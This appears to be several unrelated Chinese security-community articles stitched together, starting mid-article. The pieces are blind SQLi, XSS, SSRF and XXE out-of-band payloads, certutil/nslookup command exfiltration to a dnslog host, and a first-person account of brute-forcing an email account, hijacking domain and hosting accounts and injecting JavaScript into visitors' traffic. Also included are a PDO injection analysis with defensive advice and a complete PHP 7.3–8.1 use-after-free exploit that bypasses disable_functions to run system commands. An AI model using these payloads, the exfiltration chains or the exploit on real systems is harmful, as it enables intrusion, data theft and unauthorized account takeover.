7、更改截取的位置，判断后面的字符对应的ascii码值。
?id=1' and ascii(substr((select database()),2,1))=101 %23
### 1.2 延时盲注
延时盲注，一种盲注的手法。在渗透测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假，页面都返回一样之后，我们可以尝试使用延时盲注，通过加载页面的时间长度来判断数据是否成功。在PHP中有一个if()函数，语法为if(exp1,exp2,exp3)，当exp1返回为真时，执行exp2，返回为假时，执行exp3。配合延时函数sleep()来获取相应数据的ascii码，最后还原成数据。下面我将通过实例来介绍如今进行延时盲注。
1、首先获取的页面如下，后面不论接上布尔值为真还是为假的，页面都返回一样，此时将不能使用布尔盲注。
2、通过and拼接延时函数查看页面是否有延时回显。首先记录没有使用延时函数的页面返回时间，为4.
_秒；使用sleep(5)延时5秒之后，页面响应时间为9._ 秒，说明对于我们输入的sleep()函数进行了延时处理，此处存在延时盲注。
3、通过延时注入判断数据库库名的长度。一个个测试发现当长度等于8时页面延时返回了，说明数据库库名长度为8。
?id=2' and if((length(database())=8),sleep(5),1) %23
4、与布尔盲注一样，将子查询的数据截断之后判断ascii码，相等时延时5秒。最后得到第一个字符的ascii码为115。
?id=2' and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
5、后面替换截断的位置，测试后面的字符的ascii码值。最后得到对应的ascii码值为115 101 99 117 114 105 116
121。通过ascii解码工具解得数据库库名为security。
### 巧用dnslog进行SQL注入
前面介绍了SQL注入中的盲注，通过布尔盲注或者延时盲注来获取数据需要的步骤非常繁琐，不仅需要一个一个字符的获取，最后还需要进行ascii解码，这需要花费大量的时间与精力。为了加快渗透进程，以及降低获取数据的难度，这里介绍如何通过dnslog进行SQL注入。
#### Dnslog
dnslog，即dns日志，会解析访问dns服务的记录并显示出来，常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。简单来说，dnslog就是一个服务器，会记录所有访问它的记录，包括访问的域名、访问的IP以及时间。那么我们就可以通过子查询，拼接dnslog的域名，最后通过dns日志得到需要的数据。
#### Load_file()函数
数据库中的load_file()函数，可以加载服务器中的内容。load_file('c:/1.txt')，读取文件并返回内容为字符串，使用load_file()函数获取数据需要有以下几个条件：
1.文件在服务器上
2.指定完整路径的文件
3.必须有FILE权限
#### UNC路径
UNC路径就是类似\softer这样的形式的网络路径。它符合 **\服务器名\服务器资源**
的格式。在Windows系统中常用于共享文件。如\192.168.1.1\共享文件夹名。
#### Dnslog注入实例演示
1、打开实例站点，很明显这里是只能使用盲注的站点。
2、通过order by判断出字段数为3。
3、在dnslog网站申请一个dnslog域名：pcijrt.dnslog.cn
4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上，后面任意接一个不存在的文件夹名。最后将这个查询放到联合查询中，构造的payload如下：
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn
/abc')) %23
5、执行语句之后在dnslog日志中获取到数据库库名为security。
6、修改子查询里的内容，获取其他数据。
## 2、XSS无回显
XSS无回显比较特殊，一般XSS漏洞的判断标准为弹框，但是有这样一种情况，在一个表单提交处，内容提交之后只会在页面显示提交成功与否，不会输出提交的内容，那么我们也就无法通过弹框来判断XSS漏洞存在与否。这时候就需要通过XSS盲打来进行攻击。下面通过Pikachu漏洞练习平台来进行实例讲解：
### 2.1 XSS盲打
1、如图这里是一个提交看法的功能
2、随便输入内容提交，告诉我们提交成功，没有将我输入的内容返回到页面中
3、登录后台可以看到确实有数据回显
4、输入弹框语句会在后台成功执行
5、在渗透测试过程中我们无法登录后台进行查看，那么就需要盲打XSS，输入XSS平台的payload，坐等管理员查看内容后上钩。
### 2.2 通过dnslog判断漏洞存在
payload:
<img src=http://xss.t7y3wc.dnslog.cn>
## 3、SSRF无回显
SSRF即服务端请求伪造，一种由攻击者构造的通过服务器发起请求的攻击。
测试代码如下：
<?php
echo file_get_contents($_GET['url']);
?>
首先通过访问百度可以验证漏洞存在
无回显情况即不进行输出，页面返回空
这种情况可以通过dnslog或者python搭建http服务验证
1、DNSLOG
<http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn>
2、python起的http服务
python3 -m http.server 4545
<http://172.16.29.2/ssrf_test.php?url=http://172.16.29.1:4545>
## 4、XXE无回显
因为XML是用来存储传输数据的，除了确实是业务需要，否则开发不可能会输出内容，也就是说你确实读取到了文件内容，但是没办法看到。XXE无回显问题当然也是可以通过在域名前面放入查询出的内容，将数据通过dns日志记录下来。
XXE虽然不是通过DNSlog，但是也同样是外带数据。
流程如下：
在受害者网站中，我们通过请求攻击者VPS上的1.xml文件，文件内容为将某数据放在GET传参中去访问2.php。然后2.php中的内容为保存GET传参的数据，将数据放入到3.txt中。
具体文件内容放在下面，里面的IP地址应该为攻击者的IP地址，这3个文件也是放在攻击者VPS上。
1.xml
<!ENTITY% all "<!ENTITY % send SYSTEM 'http://攻击者的IP地址/2.php?id=%file;'>">%all;
2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
3.txt
内容空
payload：
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM"http://服务器IP地址/xxe/1.xml">
%remote;
%send;
]>
## 5、命令执行无回显
简单的命令执行站点
输入任何命令都无回显
### 5.1 Dnslog判断漏洞存在
<http://127.0.0.1/test_blind/exec.php?cmd=ping+lhg3du.dnslog.cn>
### 5.2Dnslog外带数据
#### 5.2.1 获取windows用户名
http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn
#### 5.2.2 其他命令执行
cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp
通过POST传参测试
传参的内容需要进行url编码
Post传参
Dnslog获取结果
Base64解码获取内容
## 总结
在渗透测试过程中，无回显是很常见的，程序不可能将一些操作都回显到页面中，那么这种时候我们就需要外带数据来获取想要的内容。当然最好就是能够反弹shell，通过获取shell来执行命令，这样会舒服很多。
无回显的情况还有很多很多，这里简单介绍了几种，希望读者朋友们能够从中学到对于无回显的情况下如何进行渗透测试，方法很多，不固定，学习思路即可。 | 社区文章 |
# 中国菜刀仿冒官网三百万箱子爆菊记
|
##### 译文声明
本文是翻译文章，文章来源：乌云
原文地址：<http://drops.wooyun.org/news/13471>
译文仅供参考，具体内容表达以及含义原文为准。
**BY 健宇**
**2016-3-6**
**1 前言**
常言道，出来混总是要还的，看了360播报的《网络小黑揭秘系列之黑产江湖黑吃黑
——中国菜刀的隐形把手》一文，表示很震惊，网络竟然是如此的不安全，无聊之下花了一周时间来调查360所说的“从公开的whois信息显示，该域名注册邮箱为[email protected]，同时，该邮箱同时还有注册“maicaidao.me”这个域名。安全圈的朋友们一看这个邮箱，应该并不陌生，没错这个邮箱的主人正是某sec组织的成员之一，接下来的我们就不多说了，有兴趣的可以自己去挖挖。”
估计很多朋友都很好奇是怎么拿下来的，这里大概介绍一下吧，希望能促进中国网络安全的发展，为行业贡献自己的一份力量。
**
**
**2 信息收集**
首先抓包，为了避免程序会有各种检测，流量镜像到了wireshark，写了个过滤只看HTTP协议，找到了收信的IP地址和域名，然后使用自写的互联网信息收集脚本，针对目标域名的IP整个C段，所有与收信涉及的域名都扫了子域名、端口和应用分布情况，邮箱等，并根据收集到的现有信息生成了一个字典规则等待后续针对性的爆破，恩，暂时只能这样了，毕竟目标并不是大型企业，360天眼他们安全团队也搞过应该知道该目标的难度，从整个数据流量中能够留给我们的线索很少。
**
**
**3 综合检测过程**
A、收集完信息分析发现，9128.cc和maicaidao.co域名指向的都是一个地址。
（历史所有的9128.cc域名修改解析记录）
（历史所有的maicaidao.co域名修改解析记录）
这下就基本上可以确定这个是个真实IP地址了，绑定HOST测试成功，直接绕过了cloudflare的云防护，这里又通过朋友打听了解到23开头的网段都是美国那边的高防段，一般都是国内代理在淘宝等地销售。
然后分析另外的一个域名的一些信息，又有一些新的发现，http://www.threatexpert.com/report.aspx?md5=4b4a956b9c7dc734f339fa05e4c2a990
(maicaidao.me相关的解析记录)
(maicaidao.me相关的木马报告)
看这个报告，原来老外拿这个中国菜刀木马去分析了啊，可见其影响力！
B、在掌握了这些情况后花了2天时间对相关的IP所有C段的地址系统漏洞、WEB漏洞、包括自动化组合大小写并且智能转换成数字的弱口令都扫描了一遍，2天下来依然没什么进展，应该很多朋友都去花了大量时间做过同样的事情了，应该都是无功而返，看来只能社工了。。。
C、思考了好几天，没有太多头绪了，抱着试试看的心态，用之前采集到的email结合自动生成的密码库去爆破ssl的imap，利用90sec的邮件用户名，收集到的其他信息做好字典！！！！神器一出，睡了一觉回到公司奇迹出现了！！！
（爆破谷歌ssl imap 993）
自动组合到了密码“root90secfuckyou”爆破成功了！！
成功进入目标邮箱。
（目标gmail）
进去以后就看到了很多的godaddy邮件，这下不用说了，直接去重置。
（成功重置密码进入域名管理界面）
（maicaidao.co域名指向了cloudflare）
进了这里以后还是不能够确定最终的结果，分析该菜刀才是我们此次的目的，就必须要确认收信，想了一下最安全的是做反向代理来抓包，因为cloudflare做了cdn默认会隐藏源地址，管理员一时半会无法发现，就直接用gmail去找回，结果还真成功了，哈哈，运气还是有点好。
（一款商业反向代理来可视化配置中间人攻击源站）
为了调查这个箱子还广大网友一个绿色安全的互联网环境，花了点钱买了一款商业的反向代理来做此次抓包分析，替换返回包插入指定JavaSscript，这下每个请求该站点的人都会纳入到我们的流量统计系统，以及cookies跟踪系统来了。
苦苦等待了几天一直没有发现有任何管理员的痕迹，解析记录什么的也是很久没有变化了，倒是有很多post提交shell的数据包都提交到我服务器来了，每天保守估计得有几千shell啊！
实在是无奈了，不过能够看到很多白帽子的数据，只能感叹这些人和我一样无聊，害我每天要筛选有没有管理员的足迹。
到这里又卡住了，思考了一下现在已经拿到的权限，进入脑洞模式，每天下班回家必须在公交车上坐两个小时，一直发呆坐到家已是晚上八点了，匆匆吃完饭，买了一个短信网关的API接口，写了个程序请求流量统计页面自动过滤关键词短信提醒，待我睡醒已是午夜2点，夜深人静的时候思路总是格外的清晰，失望的看了一眼放在一旁的手机没有一条短信过来，差不多已经放弃了这个思路了，清醒后的脑袋突然想到只急着登录进入邮箱就找回密码了，有这么多邮件，为什么我不去看看呢？
想到此刻，又登录到这个邮箱，这个被360安全团队戏称“公开whois信息中域名注册邮箱为[email protected]主人就是某sec组织的成员之一”的这个邮箱，我尝试了很多次组合这个都一直没有登录到90sec，不知道为什么他们要这么说，挺无奈的，没爆破出来也许是我的字典不够强吧，那么好吧，我让朋友帮忙到某系统里面查了一下登录某sec网站的登录数据包，然而并没有找到相关注册记录，就因为这误导我走了一天的弯路。在这个邮箱中，仔细的看了每一封邮件，不放过任何一个线索，天下武功唯快不破确实是真理，这几天几乎都没有好好睡上一觉了，这个时候一封某IDC很久以前的一封邮件吸引我点开了它，但是现在不能确认目标的服务器就在这个IDC买的，用这个邮箱组织语言发了一封邮件给IDC的客服，等待回复，哈哈，经过确认这个服务器确实是在此IDC商购买的，那么又多了一条线索，顺着这条线索摩擦摩擦。
在邮箱翻到的常用用户名，又做了一次成功的密码重置！登录的IDC管理页面，用开通的密码去登录无果，直接提交工单给IDC，要求IDC修改密码，30分钟可爱的IDC管理员就告诉我已经处理好了，真的是太happy了，当时真有一种跳起来的冲动，留下几张最终结果图。
（事实证明前期的信息收集踩点是多么的重要啊）
（留个纪念吧，也花了将近十天的时间不容易啊，今晚可以好好休息了）
（友情提醒一下大家不要再用网络上的东西了，后门太多，这只是冰山一角）
为了互联网的安全，为了各位的劳动成果不被别人所剥夺，长沙雨人网安团队代表大家为民除害覆盖式的删除了170MB的文本文件，目测三百万条shell，应该算国内最大的了吧。
**4 结语**
本文写到此主要是为了和大家一起分享一下一些经验和渗透过程中的一些思路，主要是为了抛砖引玉，民间高手太多，此文发完继续低调的打我的酱油，为理想梦想努力奋斗，希望有一些思路能够为大家的工作提供帮助，也提醒大家尽量不要用别人的工具，在这个网络中，看不见的硝烟战斗每天都在持续，你看不见并不代表没有发生，文中所说是互联网真实的冰山一角黑幕之一，各位朋友各自保重。 | 社区文章 |
# **前言**
PHP数据对象（PDO）扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层，这意味着，不管使用哪种数据库，都可以使用相同的函数（方法）来查询和获取数据。PDO随PHP
5.1发行，在PHP
5.0的PECL扩展中也可以使用，无法运行于之前的PHP版本。今天我们讨论PDO多语句执行（堆叠查询）和PDO预处理下的SQL注入问题导致SQL注入的问题。如有不足，不吝赐教。
# **PDO多语句执行**
PHP连接MySQL数据库有三种方式（MySQL、Mysqli、PDO），同时官方对三者也做了列表性比较：
| Mysqli | PDO | MySQL
---|---|---|---
引入的PHP版本 | 5.0 | 5.0 | 3.0之前
PHP5.x是否包含 | 是 | 是 | 是
服务端prepare语句的支持情况 | 是 | 是 | 否
客户端prepare语句的支持情况 | 否 | 是 | 否
存储过程支持情况 | 是 | 是 | 否
多语句执行支持情况 | 是 | 大多数 | 否
可以看到Mysqli和PDO是都是支持多语句执行的，我们对比一下看看两者的区别
1. Mysqli通过multi_query()函数来进行多语句执行。
<?php
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$mysqli = mysqli_connect($host,$user,$pass,$dbName);
if(mysqli_connect_errno())
{
echo mysqli_connect_error();
}
$sql = "select * from user where id=1;";
$sql .= "create table test2 like user";
$mysqli->multi_query($sql);
$data = $mysqli->store_result();
print_r($data->fetch_row());
mysqli_close($mysqli);
请求脚本后发现数据库中成功创建了test2表，说明多语句成功执行
我们通过wireshark分析一下，首先登录请求Multiple statements字段未设置
通过multi_query()函数可以看到在执行Query前向Mysql服务器发送了一次Set Option请求将multi statements设置打开
而使用普通的mysqli_query()函数，在执行Query前不会向Mysql服务器发送set option请求
2.使用PDO中的query()函数同数据库交互
<?php
$dbms='mysql';
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$dsn="$dbms:host=$host;dbname=$dbName";
try {
$pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
echo $e;
}
$sql = "select * from user where id=1;";
$sql .= "create table test2 like user";
$stmt = $pdo->query($sql);
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
请求脚本后发现数据库中成功创建了test2表，说明多语句成功执行
通过wireshark分析，通过PDO方式同数据库交互时，在登录时会设置Multiple
statements字段，然后通过Query方式直接发送多语句到Mysql服务器
PDO默认支持多语句查询，如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
<?php
$dbms='mysql';
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$dsn="$dbms:host=$host;dbname=$dbName";
try {
$pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
echo $e;
}
$id = $_GET['id'];
$sql = "SELECT * from user where id =".$id;
$stmt = $pdo->query($sql);
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
$id变量可控，构造链接访问，成功创建aaa数据表
如果想禁止多语句执行，可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false
new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))
# **MySQL预处理**
MySQL数据库支持预处理，预处理或者说是可传参的语句用来高效的执行重复的语句。
MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT
预制语句的SQL语法基于三个SQL语句：
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;
# **PDO预处理**
PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的，在初始化PDO驱动时，可以设置一项参数，PDO::ATTR_EMULATE_PREPARES，作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟预处理则是通过数据库服务器来进行预处理动作，主要分为两步：第一步是prepare阶段，发送SQL语句模板到数据库服务器；第二步通过execute()函数发送占位符参数给数据库服务器进行执行。
首先我们通过wireshark抓包方式对比一下模拟预处理和非模拟预处理
模拟预处理代码：
<?php
$dbms='mysql';
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$dsn="$dbms:host=$host;dbname=$dbName";
try {
$pdo = new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false));
} catch (PDOException $e) {
echo $e;
}
$username = $_GET['username'];
$sql = "select * from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
PDO在模拟预处理通过wireshark抓包可以看到是将处理完的SQL语句发送给MySQL服务器
非模拟预处理代码，在$username =
$_GET['username'];代码前增加$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
这里就是上面提到的，首先给MySQL服务器发送SQL语句模板，然后通过EXECUTE发送占位符参数给服务器
# **预处理下的安全问题**
模拟预处理下
<?php
$dbms='mysql';
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$dsn="$dbms:host=$host;dbname=$dbName";
try {
$pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
echo $e;
}
//$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$username = $_GET['username'];
$sql = "select id,".$_GET['field']." from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
可以看到sql语句field字段可控，这样我们构造field，达到多语句执行的效果。
当设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);时，也可以达到报错注入效果
将上面模拟预处理代码$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);的注释关闭来进行非模拟预处理
同样的field字段可控，这时多语句不可执行，但是当设置$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);时，也可进行报错注入
这里可进行报错注入是因为MySQL服务端prepare时报错，然后通过设置PDO::ATTR_ERRMODE将MySQL错误信息打印
在MySQL中执行prepare语句
prepare statm from "select id,updatexml(0x7e,concat(0x7e,user(),0x7e),0x7e) from user where username=?";
# **总结**
1. 使用PDO时尽量使用非模拟预处理。
2. 创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false，禁止多语句查询。
3. SQL语句模板不使用变量动态拼接生成
**参考**
<https://dev.mysql.com/doc/apis-php/en/apis-php-mysqli.quickstart.multiple-statement.html>
<https://secure.php.net/manual/en/ref.pdo-mysql.php#pdo.constants.mysql-attr-multi-statements>
<https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html> | 社区文章 |
## 1\. 简介
> PHP 7.3-8.1 中字符串连接符中有一个错误，当参数为数组时会触发错误处理，如果在错误处理回调中删除了相关资源，会造成UAF
### POC
<?php
$my_var = str_repeat("a", 1);
set_error_handler(
function() use(&$my_var) {
echo("error\n");
$my_var = 0x123;
}
);
$my_var .= [0];
?>
### exp
<?php
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1
new Pwn("uname -a");
class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
// 0x18是zend_string的头大小
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构，其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来，不带索引数组，共计32*32+8=1032字节，要分配24号规格内存
// 为什么要这个操作，不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
// concat_str_addr是'Array'+'A'*66这段字符串zend_string(占95字节内存)的地址0x7ffff3a84580，这是concat产生的结果。
// 其字符串内容offset=16处开始是$arr原本的数组的占据的Bucket的位置，concat操作产生的result='Array'+'A'*66的zval覆盖了这个位置
$fill = self::alloc(self::STRING_SIZE);
// 为啥要这个操作，没有还不行
// STRING_SIZE能分配到95字节的内存空间
// $fill的zend_string地址是0x7ffff3a84500
// 二者大小相同,地址紧挨,相距0x80
// 因为调试时,有ZEND_DEBUG_BUILD声明,95字节的zend_string实际分配到了11号规格的内存,即相差0x80
// 为什么$fill在'Array'+'A'*66的前面呢
printf("0x%x\n",$concat_str_addr);
$this->abc = self::alloc(self::STRING_SIZE);
var_dump($fill);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);
$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
private function heap_leak() {//开始UAF
$arr = [[], []];//首先是数组
$buf=null;//然后是一个临时变量
set_error_handler(function() use (&$arr, &$buf) {
$arr = 2;//$arr原本指向的_zend_array 0x7ffff3a59a80结构被释放
// 这一步操作会调用zend_array_destroy回收内存
// ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER调用的zend_assign_to_variable中，将$arr中存储的zend_array地址视为垃圾(garbage)，调用rc_dtor_func回收
// $arr对应的zval.value的值变为1.
// zend_mm_free_small回收了$arr的内存，重新挂载到了slot——16,320字节大小的链表头上。
// $arr结构的arData结构在0x7ffff3a5d288，释放的时候只是释放该Bucket结构,_zend_array存储在0x7ffff3a59a80，时9号规格的small内存，96字节
// 使用宏HT_GET_DATA_ADDR(ht)获取到了要释放的Bucket结构,计算得0x7ffff3a5d280，$arr数组中的两个Bucket分别存放在0x7ffff3a5d288和0x7ffff3a5d2a8(一个Bucket32字节)
// 为啥从0x7ffff3a5d280跟前开始释放呢，$arr时pack array，不需要索引数组，所以其只有两个单位的值为-1的索引数组，索引数组一个solt占4个字节，两个就是8字节
// 索引数组就在Bucket的签名，通过相关size的计算可以得出索引数组的大小，这里算得索引数组的大小为2，所以最后释放的地址就是0x7ffff3a5d280，其offset=8的位置就是arData，即第一个Bucket
// 这个未初始化的数组是在编译阶段就分配的，分配Bucket时，最少一次分配8个，每个32B，共256B再加上8个字节的索引数组，共计264B，能容纳这么多最小规格时16号320B大小的small内存
// zend_string头有24字节，分配255长度的字符串内存，共计需要279B，也会分配到16号规格内存，如此，UAF的条件达到
// 调用栈
/*
zend_mm_free_small(zend_mm_heap * heap, void * ptr, int bin_num) (\home\xxxxx\php-src\Zend\zend_alloc.c:1280)
zend_mm_free_heap(zend_mm_heap * heap, void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:1370)
_efree(void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:2549)
zend_array_destroy(HashTable * ht) (\home\xxxxx\php-src\Zend\zend_hash.c:1635)
rc_dtor_func(zend_refcounted * p) (\home\xxxxx\php-src\Zend\zend_variables.c:57)
zend_assign_to_variable(zval * variable_ptr, zval * value, zend_uchar value_type, zend_bool strict) (\home\xxxxx\php-src\Zend\zend_execute.h:131)
ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:40771)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57205)
zend_call_function(zend_fcall_info * fci, zend_fcall_info_cache * fci_cache) (\home\xxxxx\php-src\Zend\zend_execute_API.c:812)
_call_user_function_ex(zval * object, zval * function_name, zval * retval_ptr, uint32_t param_count, zval * params, int no_separation) (\home\xxxxx\php-src\Zend\zend_execute_API.c:644)
zend_error_va_list(int type, const char * error_filename, uint32_t error_lineno, const char * format, struct __va_list_tag * args) (\home\xxxxx\php-src\Zend\zend.c:1366)
zend_error(int type, const char * format) (\home\xxxxx\php-src\Zend\zend.c:1480)
__zval_get_string_func(zval * op, zend_bool try) (\home\xxxxx\php-src\Zend\zend_operators.c:889)
zval_get_string_func(zval * op) (\home\xxxxx\php-src\Zend\zend_operators.c:925)
concat_function(zval * result, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_operators.c:1829)
zend_binary_op(zval * ret, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_execute.c:1312)
ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:39117)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57109)
zend_execute(zend_op_array * op_array, zval * return_value) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57913)
zend_execute_scripts(int type, zval * retval, int file_count) (\home\xxxxx\php-src\Zend\zend.c:1665)
*/
$buf = str_repeat("\x00", self::HT_STRING_SIZE);//0x118-0x18-0x01长度的0x00 0x00ff即255长度的字符串,这个字符串覆盖了_zend_array结构体
// 经过对原来的arr结构地址设置数据更改断点发现，arr原本的位置被str_repeat函数操作时覆盖
// 在一次调试中，_zend_array存储在0x7ffff3a59a80，这是一个哈希表，arData存储在0x7ffff3a5d288，Bucket长度2
// 新分配的字符串长度255，占空间287，emalloc得到地址0x7ffff3a5d280
// 该地址在16号规格small内存中,320B
// // 此时得到的$buf的字符串内容就存储在和$arr的Bucket一样的位置，concat的错误使得该匿名函数被调用，即ZEND_ERROR被执行，ZEND_ERROR执行后实际继续返回到concat的后续过程开始执行
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
// op2是长度为一个96（0x60）标准存储单元大小的zend_string结构体，op1是zval_struct结构体
//op1是数组，op2是字符串，concat时，引发错误，掉头error handler的回调函数，$arr变量的内存指向zval_struct，
//offset+0偏移处的成员是一个_zend_array结构体的地址，现在其值就是1，数字1，一个64位地址，里面只有1。
//在这一部操作中，op1是引用类型的值，handler发现其是引用，就提取出它引用的内容，发现是一个数组，然后调用宏SEPARATE_ARRAY来分离数组
// 引用计数只有1时，分离操作不起作用，否则，垃圾回收机制会删除一次引用
// 在赋值操作实际执行时，$arr所代表的数组被提取出来作为实际操作数
// 对于的handler是ASSIGN_DIM_OP，操作数 op1是$arr,op2是1,根据指令的特点，该handler会调用下一条指令的数据，OP_DATA的操作数，及alloc产生的字符串
// 于是 op1是$arr[1]，是数组，op2是字符串'\x00'*255
// 因为op1的是array，所以触发ZEND_ERROR
// zend_fetch_dimension_address_inner_RW_CONST，handler调用该函数在哈希表中对数组取值
// $arr[1]的地址在0x7ffff3a5d2a8
/* */
// ZEND_ERROR执行后，__zval_get_string_func返回一个zend_known_strings的地址，其内容时Array，并赋给了op1_copy，暂存op1，（此时真正的op1已经被字符串覆盖了）
// 因为时.=这种自操作，所以指令中的result和op1的地址相同，对result的操作就是对op1的操作
// op1_copy得到值后，op1_copy的地址被赋回op1，即op1表示zend_known_strings，即"Array"的地址
// 此时，result指向"\x00"*255的zval，op2指向66字节长度的alloc函数产生的字符串，最终concat_function返回了'Array'+'A'*66这段字符串，$buf的zval.value也指向了新分配的存储这块内存
// $buf的zval.value本来是全0，$buf本身的结构在0x7ffff3a5d280，但是op1的引用在0x7ffff3a5d2a8，有40个字节的偏移
// 执行这句ZVAL_NEW_STR(result, result_str)时，0x7ffff3a5d2a8的zval.value被赋值，指向'Array'+'A'*66这段字符串zend_string
// 此时我读取$buf的字符串偏移$buf[16]处起始的8个字节就是'Array'+'A'*66这段字符串zend_string的地址
